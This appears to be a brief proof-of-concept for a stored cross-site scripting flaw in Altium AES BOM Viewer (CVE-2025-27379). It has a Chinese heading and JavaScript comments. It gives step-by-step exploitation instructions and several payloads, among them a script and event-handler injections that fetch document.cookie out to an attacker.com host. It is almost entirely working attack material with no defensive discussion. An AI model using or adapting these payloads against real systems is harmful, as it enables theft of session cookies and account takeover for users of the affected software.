CVE-2025-27379: Altium AES BOM Viewer存储型XSS漏洞

// CVE-2025-27379 PoC - Stored XSS in Altium AES BOM Viewer // Steps to exploit: // 1. Login to Altium AES 7.0.3 with valid credentials // 2. Navigate to schematic editor // 3. Inject XSS payload into Description field // 4. Save and open BOM Viewer // 5. XSS will execute when BOM Viewer renders the content // XSS Payload Examples: // <script>alert(document.cookie)</script> // <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> // <svg/onload=fetch('http://attacker.com/log?data='+btoa(document.cookie))> // Example malicious Description field content: const xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+encodeURIComponent(document.cookie))</script>'; // This payload will be stored and executed when BOM Viewer renders the schematic